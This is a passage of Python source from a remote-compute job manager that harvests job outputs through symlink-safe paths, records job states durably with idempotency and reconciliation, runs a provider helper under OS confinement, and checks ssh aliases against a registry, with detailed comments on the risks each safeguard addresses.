exist_ok=True) # Resolved once, at construction, before any cell has run: the value a # later harvest must still be contained by. `_hpc_root` lives inside the # kernel-writable workspace, so a cell can replace it — or pre-create a # per-job dir — with a symlink and redirect the harvest anywhere the # daemon can write. `_safe_harvest_dest` checks against this. self._hpc_root_real = os.path.realpath(self._hpc_root) # Remote outputs are *extracted and hashed* here, always under the data # dir and never in the kernel-writable workspace. The workspace copy # under `_hpc_root` exists only so `host.save_artifact` (which requires a # path inside the session root) can reach the files — but building the # manifest there let a cell plant `hpc//` before # polling, so an exit-0 job was marked succeeded with locally forged # bytes. The trusted manifest is built from this host-owned staging, and # only then is the verified tree published into the workspace. self._hpc_stage_root = Path(cfg.data_dir) / "hpc-stage" self._hpc_stage_root.mkdir(parents=True, exist_ok=True) self._rehydrate() self._confinement_mode = _confinement_mode() # The default for the *unconfined* helper form only. `_run_helper` # passes `expect_confined=1` whenever it actually wraps, so the boundary # and the check that verifies it always travel together; this default is # what the degraded `auto` fallback uses, where asking for the check # would only make the helper exit 71 while proving nothing. self._require_confinement = False def _safe_harvest_dest(self, job_id: str) -> Path: """The per-job harvest directory, proven to be under the hpc root. The hpc root sits inside the kernel-writable workspace, so a cell can turn ``hpc``, ``hpc/``, or a child into a symlink before a harvest runs — and the subsequent ``mkdir``, ``safe_extract_tar`` and ``shutil.copy2`` would follow it, writing remote bytes anywhere the daemon can. ``safe_extract_tar`` guards the archive's *contents*; this guards the destination the contents land in. A symlink anywhere on the path is refused, and the resolved directory is re-checked for containment against the root resolved at construction — before any cell had run. """ name = re.sub(r"[^A-Za-z0-9._-]+", "_", str(job_id or "")).strip("._") or "job" if os.path.islink(self._hpc_root): raise ComputeError( "the harvest root is a symlink; refusing to write through it", "unsafe_archive", ) self._hpc_root.mkdir(parents=True, exist_ok=True) dest = self._hpc_root / name if dest.is_symlink(): raise ComputeError( f"the harvest directory for {name!r} is a symlink; refusing", "unsafe_archive", ) dest.mkdir(parents=True, exist_ok=True) real_dest = os.path.realpath(dest) if os.path.commonpath((self._hpc_root_real, real_dest)) != self._hpc_root_real: raise ComputeError( f"the harvest directory for {name!r} escapes the hpc root", "unsafe_archive", ) return dest def _host_staging_dir(self, job_id: str) -> Path: """A fresh, host-owned, unguessable directory to extract a harvest into. Under the data dir, never the workspace, and with a random suffix so a cell cannot pre-create it. This is where the *trusted* manifest is built — the workspace copy is only for `save_artifact` reachability. """ name = re.sub(r"[^A-Za-z0-9._-]+", "_", str(job_id or "")).strip("._") or "job" return Path(tempfile.mkdtemp(prefix=f"{name}-", dir=str(self._hpc_stage_root))) def _publish_harvest(self, staging: Path, dest: Path) -> None: """Replace the workspace harvest dir wholesale with the verified tree. The manifest was already built from ``staging`` (host-owned), so this move is only about making the files reachable to ``save_artifact``. Symlink-resistant. `_safe_harvest_dest` validated the path *earlier*, but the `hpc` parent is in the kernel-writable workspace, so a cell can swap it for a symlink afterwards — and a plain `os.replace`/`copytree` would follow it, moving the trusted tree outside the sandbox. The `hpc` root is opened once with `O_NOFOLLOW | O_DIRECTORY` (refusing a symlinked root), and *every* subsequent step — the removal of a stale entry, the rename, and the cross-device copy — is anchored to that directory fd. Nothing re-resolves the `hpc` pathname, so the parent cannot be substituted after the check to redirect a removal or write outside the opened directory. """ try: root_fd = os.open( self._hpc_root, os.O_RDONLY | os.O_DIRECTORY | os.O_NOFOLLOW ) except OSError as e: raise ComputeError( f"the hpc root is not a real directory ({e}); refusing to " f"publish the harvest through it", "unsafe_archive", ) try: name = dest.name try: existing = os.lstat(name, dir_fd=root_fd) except FileNotFoundError: existing = None if existing is not None: if stat.S_ISLNK(existing.st_mode) or not stat.S_ISDIR(existing.st_mode): # A symlink or a plain file at the entry: unlink the entry # itself, never whatever it points at. os.unlink(name, dir_fd=root_fd) else: # A real directory (possibly cell-planted content): drop it # fd-relatively so a swapped `hpc` pathname cannot redirect # the recursive removal outside the opened root. _rmtree_at(root_fd, name) try: os.rename(str(staging), name, dst_dir_fd=root_fd) except OSError as move_err: if getattr(move_err, "errno", None) != errno.EXDEV: raise # Cross-device: the entry was removed above, so create a fresh # directory *under the fd* and copy into it — again anchored to # the fd, never the `hpc` pathname, and never following a symlink # from the staging tree. _copytree_at(Path(staging), root_fd, name) shutil.rmtree(staging, ignore_errors=True) finally: os.close(root_fd) # --- durability ------------------------------------------------------- def _rehydrate(self) -> None: """Load *this session's* jobs that may still be live remotely. Without this a restart stranded every in-flight job: the ssh process kept running under nohup and the byoc sandbox kept billing, while `result()` answered "no such job" and `_live_count()` reset to zero — so the session would happily oversubscribe a provider that was still busy with work it had forgotten. Scoped to ``owner_key``: an unscoped load handed every installation-wide live row to whichever session built a manager first, so a poll would then publish another session's harvested outputs into *this* session's workspace. Recovery must only adopt the jobs this session submitted. """ if self._store is None: return try: recovered = self._store.live_compute_jobs( owner_key=self._owner_key, scoped=True ) except Exception: # noqa: BLE001 - a broken record must not stop startup return for record in recovered: try: self._jobs[record["job_id"]] = self._from_record(record) except Exception: # noqa: BLE001 - one bad row must not stop the rest continue @staticmethod def _from_record(record: dict) -> dict: job = { "job_id": record["job_id"], "provider": record["provider"], "status": record.get("status") or "running", "outputs": record.get("outputs"), "input_versions": list(record.get("input_versions") or []), "idempotency_key": record.get("idempotency_key"), "receipt": record.get("receipt"), "termination_reason": record.get("termination_reason"), "reason": record.get("reason"), "recovered": True, } for key in ("alias", "workdir", "pid", "pgid", "sandbox_id"): if record.get(key): job[key] = record[key] return job def _persist(self, job_id: str, **fields: Any) -> None: """Non-terminal bookkeeping. Never used for an end state — see :meth:`_commit_terminal`, which must not swallow anything.""" if self._store is None: return try: self._store.update_compute_job(job_id, **fields) except Exception: # noqa: BLE001 - never fail an op on bookkeeping pass def _checked_update(self, job_id: str, **fields: Any) -> bool: """Update a job row *without* swallowing a storage failure into a false success. Returns whether the write landed. An ``IllegalTransition`` counts as landed — the row is already in a stronger, definite state than the one asked for. """ if self._store is None: return True try: updated = self._store.update_compute_job(job_id, **fields) except states.IllegalTransition: return True except Exception: # noqa: BLE001 - a swallowed durable write is the bug return False # A ``None`` return means no row matched: ``_claim`` degraded to # in-memory on a transient DB error and never created the row, so there # is nothing to update. The receipt did *not* land — reporting it as # landed let submit return a clean ``running`` over a job with no durable # row, unrecoverable after a restart. Treat it as a failed write so the # submit paths fall back to the indeterminate, reconcilable state. return updated is not None def _persist_terminal(self, job_id: str, **fields: Any) -> bool: """Write a terminal state for a job that has no in-memory row yet. Returns whether the durable write actually landed. Unlike ``_persist`` it does not swallow a storage failure into a false success: the submit paths that use it fall back to an indeterminate, reconcilable state when it returns ``False``, rather than reporting a rejection the ledger never recorded. """ return self._checked_update(job_id, **fields) def _persist_receipt(self, job_id: str, **fields: Any) -> bool: """Non-swallowing write of a submit-*success* receipt — the RUNNING transition that records the sandbox_id / remote pid. That receipt is the only durable handle able to name a now-billing resource after a restart. Writing it through the swallow-everything ``_persist`` *after* the in-memory write let a dropped write (SQLite BUSY, disk full) report a clean ``running`` over a row still at ``staging`` with no receipt — an orphan that bills forever with nothing able to name it. The submit paths degrade to an indeterminate, reconcilable state when this returns ``False``. """ return self._checked_update(job_id, **fields) def _degrade_submit_to_indeterminate( self, job_id: str, *, provider: str, reason: str, sandbox_id: str | None = None, alias: str | None = None, workdir: str | None = None, pid: str | None = None, pgid: str | None = None, extra_return: dict | None = None, ) -> dict: """A submit whose remote op succeeded but whose durable receipt could not be written. The resource is live and billing; keep it nameable and reconcilable exactly as :meth:`_fail_submit` does for an indeterminate submit — never report a clean ``running`` the ledger never recorded. """ fields: dict[str, Any] = {"reason": reason} receipt = sandbox_id or pid if sandbox_id: fields["sandbox_id"] = sandbox_id if alias: fields["alias"] = alias if workdir: fields["workdir"] = workdir if pid: fields["pid"] = pid fields["pgid"] = pgid if receipt: fields["receipt"] = receipt self._persist( job_id, status=states.UNKNOWN, termination_reason=states.REASON_SUBMIT_INDETERMINATE, **fields, ) self._track_live( job_id, provider, states.UNKNOWN, sandbox_id=sandbox_id, alias=alias, workdir=workdir, pid=pid, pgid=pgid, receipt=receipt, termination_reason=states.REASON_SUBMIT_INDETERMINATE, reason=reason, ) self._event( job_id, "submit_indeterminate", {"reason": reason, "sandbox_id": sandbox_id, "pid": pid}, ) out = { "job_id": job_id, "status": states.UNKNOWN, "reason": reason, "concurrency": {"live": self._live_count(), "limit": self._limit}, } if extra_return: out.update(extra_return) return out def _commit_terminal( self, job: dict, status: str, *, event: str | None = None, event_payload: dict | None = None, **fields: Any, ) -> dict | None: """Write an end state to the ledger *before* anything else believes it. Returns ``None`` when the write landed, and the row that actually won when the compare-and-swap lost — having first re-synced the in-memory job to it. The caller must report *that* state. The repository's compare-and-swap was already correct. What was not: every caller here set ``job["status"]`` first and then handed the write to ``_persist``, which swallows exceptions. A cancel racing a result therefore left SQLite at ``succeeded`` while memory *and the answer returned to the caller* said ``cancelled``. Nothing downstream could detect the disagreement, because both halves were confident. So the order is inverted and the exception is not swallowed: * persist first — a status nothing durable holds is not a status; * only then update memory and emit the event, so an observer never sees a terminal state the ledger has not accepted; * a lost compare-and-swap re-reads the row and reports the conflict; * any *other* persistence failure propagates. A terminal state we could not record is a fact the caller has to hear: the row stays live and ``reconcile`` will keep surfacing it, which is the safe direction, but claiming success over a failed write is not. """ job_id = job["job_id"] if self._store is None: job["status"] = status if event: self._event(job_id, event, event_payload) return None try: self._store.update_compute_job(job_id, status=status, **fields) except states.IllegalTransition: row = self._store.get_compute_job(job_id) or {} actual = row.get("status") or status job["status"] = actual if row.get("exit_code") is not None: job["exit_code"] = row["exit_code"] self._event( job_id, "terminal_conflict", {"requested": status, "actual": actual}, ) return row or {"job_id": job_id, "status": actual} job["status"] = status if event: self._event(job_id, event, event_payload) return None @staticmethod def _terminal_conflict_result( job: dict, requested: str, row: dict, output_files: list[str], artifact_manifest: list[dict] | None = None, ) -> dict: """A poll that harvested real files onto a job that had already ended. The harvest is kept — the bytes are on disk and throwing them away helps nobody — but the *verdict* is the one the ledger holds, not the one this poll computed. """ return { "status": row.get("status"), "job_id": job["job_id"], "exit_code": row.get("exit_code"), "output_files": output_files, "artifact_manifest": list(artifact_manifest or []), "conflict": {"requested": requested, "actual": row.get("status")}, "hint": ( "this job reached a terminal state before the poll completed; " "the recorded outcome is authoritative and was not overwritten" ), } def _event(self, job_id: str, kind: str, payload: dict | None = None) -> None: if self._store is None: return try: self._store.append_compute_job_event(job_id, kind, payload) except Exception: # noqa: BLE001 pass def _track_live( self, job_id: str, provider: str, status: str, **fields: Any ) -> None: """Keep a live-but-unresolved job in the in-process view too. ``_live_count`` reads ``self._jobs``, and only a *successful* submit ever wrote there — so an indeterminate submit occupied no concurrency slot until a restart happened to rehydrate it from the database. That is backwards: a job whose fate is unknown is exactly the one that may be consuming the provider's capacity, and the session would cheerfully oversubscribe on top of it. """ with self._lock: job = self._jobs.setdefault( job_id, {"job_id": job_id, "provider": provider} ) job["status"] = status job.update({k: v for k, v in fields.items() if v}) def _fail_submit( self, job_id: str, exc: BaseException, *, provider: str, sandbox_id: str | None = None, ) -> None: """Give a submit that raised an honest terminal state, never `staging`. The distinction that matters is not failed-vs-succeeded but *definitely nothing happened* vs *something may be running out there*. Only the second costs money and needs reconciling, so anything short of an explicit provider rejection is recorded as ``unknown``: - the host deadline fired and we killed the helper mid-call, so the remote op may have landed after we stopped listening; - the helper died without writing a reply, same reasoning; - a sandbox was already created, which is a live billable resource regardless of why the later step failed. The sandbox id is persisted here for exactly that last case. Until now it lived only in the in-memory ``_sandboxes`` map, so a create that succeeded followed by a submit that failed left a sandbox nobody could name after a restart. The rejection test reads ``exc.indeterminate``, never the error *kind*. Kind answers "what went wrong"; only the raiser knows whether anything may nonetheless be running. Inferring from kind meant every ``transient`` was treated as a definite refusal — including the helper dying before it could write a reply, which is the single case most likely to have left work behind. """ kind = getattr(exc, "error_kind", None) sandbox_id = sandbox_id or getattr(exc, "sandbox_id", None) rejected = ( isinstance(exc, ComputeError) and not getattr(exc, "indeterminate", True) and not sandbox_id ) fields: dict[str, Any] = {"reason": str(exc)} if sandbox_id: fields["sandbox_id"] = sandbox_id fields["receipt"] = sandbox_id # A rejection is only durably a rejection if the terminal write lands. # `_persist` swallows every storage error, so a locked or full SQLite # let submit report a definite `failed` while the durable claim stayed # `staging` — rehydrated as a live job on restart. If the terminal write # cannot be made, this is no longer a clean rejection: fall through to # the indeterminate path, which keeps the job live and reconcilable. if rejected and self._persist_terminal( job_id, status=states.FAILED, terminal_at=_now_ms(), termination_reason=states.REASON_SUBMIT_REJECTED, **fields, ): self._event(job_id, "submit_rejected", {"error": str(exc), "kind": kind}) else: self._persist( job_id, status=states.UNKNOWN, termination_reason=states.REASON_SUBMIT_INDETERMINATE, **fields, ) self._track_live( job_id, provider, states.UNKNOWN, sandbox_id=sandbox_id, termination_reason=states.REASON_SUBMIT_INDETERMINATE, reason=str(exc), ) self._event( job_id, "submit_indeterminate", {"error": str(exc), "kind": kind, "sandbox_id": sandbox_id}, ) def _claim( self, provider: str, idempotency_key: str | None, outputs: Any, input_versions: list[str] | None = None, ) -> str: """Reserve a job row *before* the submit is attempted. The ordering is the whole point. A row written only after a successful submit would be missing for exactly the case that matters: the provider accepted the work and the response never came back. Reserving first means a crash anywhere in the submit path still leaves something to reconcile against, rather than an orphan that bills forever. """ job_id = "job-" + uuid.uuid4().hex[:12] if self._store is None: return job_id if idempotency_key: existing = self._store.compute_job_by_idempotency_key( idempotency_key, self._owner_key ) if existing is not None: raise ComputeError( f"a job for idempotency key {idempotency_key!r} already " f"exists ({existing['job_id']}, status " f"{existing.get('status')!r}); reconcile it instead of " f"submitting again", "duplicate_request", ) try: self._store.create_compute_job( job_id=job_id, provider=provider, status=states.STAGING, idempotency_key=idempotency_key, outputs=outputs, input_versions=input_versions or None, owner_key=self._owner_key, ) except sqlite3.IntegrityError as exc: # The serial pre-check above cannot see a same-key row a concurrent # submitter has not committed yet; two callers both read None, then # both INSERT, and the UNIQUE idempotency index is the only thing # that stops the second billable remote run. Swallowing this raced a # duplicate job with no durable row (unrecoverable after restart). # A UNIQUE violation must REFUSE, naming the winner — not degrade. if idempotency_key: # Scoped: the raced winner under a per-owner index is by # construction this owner's own row, and naming another owner's # job here would reintroduce the leak the scoping closed. winner = self._store.compute_job_by_idempotency_key( idempotency_key, self._owner_key ) if winner is not None: raise ComputeError( f"a job for idempotency key {idempotency_key!r} already " f"exists ({winner['job_id']}, status " f"{winner.get('status')!r}); reconcile it instead of " f"submitting again", "duplicate_request", ) from exc # An integrity error with no idempotency key means a genuine # constraint bug (e.g. a job_id collision), not a race to paper # over — surface it rather than run unrecorded. raise except Exception: # noqa: BLE001 - a transient/operational DB failure # (BUSY, disk) is not a duplicate; degrade to in-memory rather than # refuse. reconcile() cannot see this job, but the run still # completes and reports instead of being denied outright. pass return job_id def reconcile(self, kw: dict | None = None) -> dict: """Report jobs that were live when the daemon last stopped. Deliberately does NOT resubmit anything. A job in `submitted` may or may not be running remotely, and guessing wrong costs either a duplicate charge or a lost result. The honest move is to surface each one with its receipt and let a poll — or a human — resolve it. """ recovered = [job for job in self._jobs.values() if job.get("recovered")] entries = [] for job in recovered: # A submit whose outcome was never established is the row that # actually costs money: the provider may have taken the work, and # nothing here can name what it created. Say so, rather than # offering the same "poll it" hint as an ordinary running job. indeterminate = job.get("termination_reason") in ( states.REASON_SUBMIT_INDETERMINATE, ) entry = { "job_id": job["job_id"], "provider": job["provider"], "status": job.get("status"), "receipt": job.get("receipt"), "hint": ( "poll with .result() to resolve; it may have finished " "while the daemon was down" ), } if job.get("workdir"): entry["remote_workdir"] = job["workdir"] if job.get("sandbox_id"): entry["sandbox_id"] = job["sandbox_id"] if indeterminate: entry["orphan_risk"] = True entry["reason"] = job.get("reason") entry["hint"] = ( "this submit's outcome was never established — the " "provider may have accepted the work. Inspect the receipt " "or workdir before resubmitting; it is not retried " "automatically because guessing wrong costs either a " "duplicate charge or a lost result" ) entries.append(entry) return { "recovered": entries, "count": len(entries), "orphan_risk_count": sum(1 for e in entries if e.get("orphan_risk")), } def job_history(self, kw: dict) -> dict: """The append-only event stream for one job, for its owner only. `result` and `cancel` both resolve through `self._jobs`, which `_rehydrate` populates owner-scoped -- so they answer only about jobs this session submitted. This method reached past that into the store with a caller-supplied id and no test at all, which made the event stream of *any* job on the installation readable from *any* session: submitted command, remote host, phases, failure reasons, harvest manifests. Same predicate as its siblings, so a job id that is not ours is indistinguishable from one that does not exist. """ job_id = kw["job_id"] with self._lock: known = job_id in self._jobs if not known: raise ComputeError(f"no such job {job_id!r}", "not_found") if self._store is None: return {"job_id": job_id, "events": []} return { "job_id": job_id, "events": self._store.compute_job_events(job_id), } def confinement_status(self) -> dict: """Machine-readable posture for the UI/status surface. The description itself lives in ``security.byoc_confinement`` so that every surface answers from the same self-test. `doctor` had its own opinion and contradicted this one. Never silent about a degradation: a user must not read "the helper ran" as "the helper was confined". """ from openai4s.security import byoc_confinement status = byoc_confinement.posture(self._confinement_mode) if status["state"] == "disabled": status["detail"] = f"{_CONFINEMENT_ENV}=off: " + status["detail"] elif status["state"] == "unavailable": status["detail"] += ( f". Remote compute remains a Prototype capability on this " f"host. Set {_CONFINEMENT_ENV}=enforce to refuse byoc ops " f"rather than run unconfined." ) return status def _confinement_gate(self, pid: str) -> None: """Fail closed when the caller demanded a boundary we cannot establish. The helper ships a confinement probe (`expect_confined`) and an exit code for failing it; the host now supplies the boundary that probe looks for, where one exists. Where none does — see ``security/byoc_confinement`` for why Linux is an open decision rather than an omission — `enforce` refuses the op outright, because passing `expect_confined=1` into an unconfined helper would only make it kill itself with exit 71 while proving nothing. """ if self._confinement_mode != "enforce": return from openai4s.security import byoc_confinement can_confine, reason = byoc_confinement.available() if not can_confine: raise ComputeError( f"byoc provider {pid!r} refused: {_CONFINEMENT_ENV}=enforce " f"requires verified helper confinement, which this host cannot " f"establish ({reason}). Fix the deployment or set " f"{_CONFINEMENT_ENV}=auto to accept unconfined execution.", "confinement_unavailable", ) # --- discovery / capability ------------------------------------------ def has_any_provider(self) -> bool: return bool(self._providers) or self._has_ssh_skill() def _has_ssh_skill(self) -> bool: """The ssh:* family is enabled by the remote-compute-ssh skill being installed (it ships the worked example + gate), not merely by the user happening to have an ~/.ssh/config.""" return (Path(self.cfg.skills_dir) / "remote-compute-ssh").is_dir() def provider_caps(self) -> dict: return { f"byoc:{pid}": p["meta"].get("max_concurrent") for pid, p in self._providers.items() } @staticmethod def _resolve_install_id() -> str: """A stable per-install id used as the byoc sandbox owner tag. Persist it under the data dir so reconcile can find sandboxes across runs.""" env = os.environ.get("OPENAI4S_INSTALL_ID") if env: return env path = Path.home() / ".openai4s" / "install-id" try: if path.exists(): return path.read_text("utf-8").strip() path.parent.mkdir(parents=True, exist_ok=True) iid = uuid.uuid4().hex path.write_text(iid, encoding="utf-8") return iid except OSError: return uuid.uuid4().hex # --- provider family routing ----------------------------------------- def _split(self, provider: str) -> tuple[str, str]: fam, _, rest = provider.partition(":") if fam not in ("byoc", "ssh") or not rest: raise ComputeError( f"unknown provider target {provider!r}; expected " f"'byoc:' or 'ssh:'", "invalid_request", ) if fam == "ssh": rest = _safe_alias(rest) return fam, rest def _named_destination(self, alias: str) -> str: """A destination an *agent* just named, or a refusal. Two checks, and they answer different questions. `_safe_alias` is shape: the name cannot be read as an option or a second word. `registry.is_known_alias` is authorisation: the user has actually offered this host, through the registry or their own `~/.ssh/config`. The second had exactly one call site in the whole tree -- on the submit path, in `host_dispatch` -- so `compute_ssh` and `compute_scp` dialled whatever string an agent put after `ssh:`, and neither is in `GATEABLE_TOOLS`, so no approval stood in front of them either. `523cab6` closed submit and is worded as though it closed the surface; it closed one of three doors. Only for aliases that arrive with the call. An alias read back out of a job record was authorised when the job was written, and re-checking it would mean that de-registering a host strands every job already running on it -- `cancel` could no longer reach the process it exists to stop. Those paths get `_ssh_argv`/`_scp_argv`, which keep the shape guard. """ safe = _safe_alias(alias) if not registry.is_known_alias(safe, Path(self.cfg.data_dir)): raise ComputeError( f"ssh alias {safe!r} is not registered with this daemon; add it " "with `openai4s host add` or to your ~/.ssh/config before an " "agent can reach it", "unknown_alias", ) return safe def _ssh_argv(self, alias: str, *rest: str) -> list[str]: """`ssh `, shape-checked. Every ssh argv in this module is built here, so the guarantee is structural rather than remembered at nine call sites -- which is what `_split`'s comment claimed and `scp` disproved. """ return ["ssh", _safe_alias(alias), *rest] def _scp_argv( self, alias: str, *, remote: str, local: str, upload: bool ) -> list[str]: """`scp` in either direction, shape-checked. `-O` and `-q` ride along because both call sites had them; a caller assembling its own flags would be a third spelling to keep in sync. """ target = f"{_safe_alias(alias)}:{remote}" pair = (local, target) if upload else (target, local) return ["scp", "-O", "-q", *pair] def _byoc(self, pid: str) -> dict: p = self._providers.get(pid) if p is None: raise ComputeError( f"byoc provider {pid!r} is not configured (no " f"skills/remote-compute-{pid}/provider.json found)", "not_found", ) return p # --- concurrency ------------------------------------------------------ def _live_count(self) -> int: # `states.is_live` rather than a local tuple: this list and the one the # rehydrating SQL used disagreed about `staging`, so a row left there # by a crash was reported by reconcile forever while occupying no slot. return sum(1 for j in self._jobs.values() if states.is_live(j.get("status"))) def set_concurrency(self, kw: dict) -> dict: with self._lock: self._limit = int(kw["max_concurrent"]) return {"live": self._live_count(), "limit": self._limit} def status(self, kw: dict) -> dict: return { "live": self._live_count(), "limit": self._limit, "daemon_live": True, "provider_caps": self.provider_caps(), } # --- byoc helper transport ------------------------------------------- def _run_helper( self, prov: dict, op: str, req: dict, creds: dict, stage: Path, expect_confined: bool | None = None, timeout: float | None = None, ) -> dict: """Spawn the confined helper in oneshot mode for one op. The credential rides on the helper's stdin (never its environment); req/reply cross via the stage dir. ``expect_confined`` defaults to the manager's policy rather than to False: an op that does not ask for confinement has not established it, so leaving the default off silently downgraded every call site. """ if expect_confined is None: expect_confined = self._require_confinement (stage / "req.json").write_text( json.dumps({**req, "stage": str(stage), "install_id": self._install_id}), encoding="utf-8", ) # Wrap in the OS boundary when this host can supply one. The helper's # own probe is what turns the wrapping into evidence: it checks from # inside, before it reads a credential, and exits 71 without acting if # the boundary does not hold. Asking for the check without supplying # the boundary would only make it kill itself, so the two travel # together. base = [ sys.executable, "-I", _HELPER_MAIN, "oneshot", prov["provider_py"], op, str(stage), ] # The unconfined form, kept whatever happens: it is what a degraded # `auto` falls back to, and reconstructing it from a wrapped argv would # be a parsing trick waiting to be wrong. plain_argv = [*base, "1" if expect_confined else "0"] argv, confined = plain_argv, False if self._confinement_mode != "off": from openai4s.security import byoc_confinement try: argv = byoc_confinement.wrap( [*base, "1"], stage, read_paths=tuple( byoc_confinement.runtime_read_paths( (str(Path(prov["provider_py"]).resolve().parent),) ) ), ) confined = True except byoc_confinement.ConfinementUnavailable as exc: # `_confinement_gate` only guards submit, and `available()` now # runs a real self-test that can newly report unavailable at # wrap() time even after that gate passed (a cleared cache, a # backend that stopped working). Falling through to the plain # helper here would run the credential and the provider shim # unconfined despite `enforce`. Only `auto` may degrade; enforce # fails closed, on every op, not just submit. if self._confinement_mode == "enforce": raise ComputeError( f"provider helper for op {op!r} cannot run: " f"{_CONFINEMENT_ENV}=enforce and no OS boundary could be " f"established ({exc}); refusing to run unconfined", "confinement_unavailable", indeterminate=False, ) # `auto`: the documented visible degradation. argv = plain_argv # Scrub inherited secrets from the child env *before* exec -- see # `_helper_exec_env` for why the helper's own in-process scrub is not # enough. Its prologue still drops the provider's secret_env_prefixes. env = _helper_exec_env(dict(os.environ), prov["meta"].get("secret_env") or ()) if confined: # The anchor the helper's own check compares against. It cannot be # obtained from inside the boundary, which is the point: the value # has to come from the side that is not confined. from openai4s.security import byoc_confinement env.update(byoc_confinement.probe_environment()) # A hard host-side deadline. The helper has its own poll budget, but a # wedged exec stream (or a provider SDK blocking on a socket) leaves it # with none — and a bare wait() would block the dispatcher forever. deadline = timeout if timeout is not None else self._HELPER_TIMEOUT_S proc = self._spawn_helper(argv, creds, env, deadline, op, stage) if proc.returncode == _EXIT_UNCONFINED and confined: # The host wrapped the helper and the helper looked from inside and # disagreed. It exits before reading the credential and before any # provider call, so nothing happened and there is nothing to # reconcile — which is what makes a retry safe here and nowhere # else in this module. if self._confinement_mode == "enforce": raise ComputeError( f"provider helper for op {op!r} refused to run: the OS " f"boundary this host applied did not hold when the helper " f"checked it from inside, and " f"{_CONFINEMENT_ENV}=enforce does not accept unconfined " f"execution", "confinement_unavailable", indeterminate=False, ) self._audit( "compute_confinement_degraded", op=op, detail="helper reported the applied boundary did not hold", ) proc = self._spawn_helper( [*plain_argv[:-1], "0"], creds, env, deadline, op, stage ) reply_path = stage / "reply.json" if not reply_path.exists(): # The helper died between doing the work and reporting it. It may # have created the sandbox, or submitted the job, or neither — and # this used to be classified `transient`, which _fail_submit read # as an explicit provider rejection and persisted as terminal # `failed`. A job the provider had already accepted then became # invisible: reconcile skips terminal rows, so it kept running and # kept billing with nothing left that would ever look for it. raise self._helper_error( stage, f"provider helper for op {op!r} exited (rc={proc.returncode}) " f"without a reply; the remote operation may or may not have " f"taken effect", "unknown_state", indeterminate=True, ) reply = json.loads(reply_path.read_text("utf-8")) if not reply.get("ok"): # A written reply is the helper speaking for itself: it reached the # provider and the provider said no. That is a definite rejection — # *unless* the failure is transient. The resident protocol carries # only ok/kind/msg, never `indeterminate`, and a `transient` failure # is precisely the one whose effect is uncertain: a `docker run` # that timed out may already have created a container. Inferring # indeterminacy from the transient kind is what keeps that container # reconcilable instead of recording a terminal `failed` over a # resource that may still be billing. kind = reply.get("kind") or "transient" raise self._helper_error( stage, reply.get("msg") or "provider op failed", kind, indeterminate=bool(reply.get("indeterminate")) or kind == "transient", ) return reply def _spawn_helper( self, argv: list[str], creds: dict, env: dict, deadline: float, op: str, stage: Path, ) -> Any: """One helper process, credential on stdin, under a hard deadline.""" # Its own session, and on macOS that is part of the boundary rather than # process hygiene. Seatbelt's gate on reading another process's # environment block (`sysctl(KERN_PROCARGS2)`) is only enforced between # *different* sessions: measured on macOS 26.6, a confined helper in the # daemon's session recovered the daemon's exec-time environment -- and # any LLM key configured there -- with the profile's process-info denies # in place, and was refused once started in a session of its own. The # kernel worker relies on the same property (`PipeTransport`). bubblewrap # already gives the sandboxed child a new session on Linux. proc = subprocess.Popen( argv, stdin=subprocess.PIPE, env=env, start_new_session=True ) proc.stdin.write((json.dumps({"op": "auth", **creds}) + "\n").encode("utf-8")) proc.stdin.close() try: proc.wait(timeout=deadline) except subprocess.TimeoutExpired: proc.kill() try: proc.wait(timeout=10) except subprocess.TimeoutExpired: pass raise self._helper_error( stage, f"provider helper for op {op!r} exceeded the {deadline}s host " f"deadline and was killed; the remote operation may or may not " f"have taken effect", "unknown_state", indeterminate=True, ) return proc @staticmethod def _helper_error( stage: Path, msg: str, kind: str, *, indeterminate: bool ) -> ComputeError: """Build the error, carrying any sandbox the stage dir still names. ``_op_create`` writes ``stage/sandbox_id`` the instant the provider returns one — before the ownership read-back, before ``reply.json`` — precisely so a helper that dies mid-op still leaves the host able to name what it created. Nothing read that file, so a create that landed and then crashed produced an unnameable, unterminatable, billing sandbox. The helper removes the file again once it has *confirmed* the sandbox is gone, so its presence means "may still exist". """ error = ComputeError(msg, kind, indeterminate=indeterminate) try: observed = (stage / "sandbox_id").read_text("utf-8").strip() except (OSError, ValueError): observed = "" if observed: error.sandbox_id = observed # A live resource we can name is never a clean rejection. error.indeterminate = True return error def _provider_creds(self, prov: dict) -> dict: """Collect the provider's declared secret env vars into the auth payload the helper reads from stdin. The provider.json's ``helperEnv``/``secret_env`` lists which env keys to forward.""" keys = prov["meta"].get("secret_env") or [] return {k: os.environ[k] for k in keys if k in os.environ} # --- submit ----------------------------------------------------------- def submit( self, kw: dict, *, trusted_version_paths: dict[str, str] | None = None, ) -> dict: provider = kw["provider"] fam, rest = self._split(provider) with self._lock: if self._limit is not None and self._live_count() >= self._limit: raise ComputeError( "session concurrency limit reached", "session_concurrency_full", {"live": self._live_count(), "limit": self._limit}, ) if fam == "ssh": # Authorised in the manager, not only in `host_dispatch`. The one # `is_known_alias` call in the tree lived at `_m_compute_submit`, so # the guarantee held for exactly one door into this method and any # other caller -- a route, a test, a future adapter -- inherited # none of it. Checking here means the record a job is written from # was authorised, which is what lets the harvest and cancel paths # trust it later. return self._submit_ssh(self._named_destination(rest), kw) return self._submit_byoc( rest, kw, trusted_version_paths=trusted_version_paths, ) def _stage_inputs( self, stage: Path, inputs: list | None, command: str, timeout_s: int, *, trusted_version_paths: dict[str, str] | None = None, ) -> Path: """Build the in.tar.gz the helper untars into /work: the wrapper, the run.sh (command), and every staged input flat in the root.""" work = stage / "work" work.mkdir() wrapper = (_TMPL_DIR / "wrapper.sh.tmpl").read_text("utf-8") run = ( (_TMPL_DIR / "run.sh.tmpl") .read_text("utf-8") .replace("{{COMMAND}}", command) ) (work / "_openai4s_wrapper.sh").write_text(wrapper, encoding="utf-8") (work / "run.sh").write_text(run, encoding="utf-8") for inp in inputs or []: if not isinstance(inp, dict): raise ComputeError( "each staged input must be an object", "invalid_request" ) version_id = str(inp.get("version_id") or "").strip() if version_id: trusted = (trusted_version_paths or {}).get(version_id) if not trusted: raise ComputeError( f"artifact input {version_id!r} was not resolved by the Host", "invalid_request", ) src_path = Path(trusted).resolve() if not src_path.is_file(): raise ComputeError( f"artifact input {version_id!r} has no frozen bytes", "invalid_request", ) src = str(src_path) else: src = inp.get("src") or inp.get("remote_path") if not src: continue # A source that does not exist used to be skipped in silence, so # the job ran to completion against missing data and reported # success. Refusing here is the difference between a failed job # and a wrong result nobody questions. if not version_id: src_path = self._safe_local_path( src, label="input src", must_exist=True ) dst = _safe_stage_name( inp.get("dst_filename") or Path(src).name, label="input dst_filename" ) 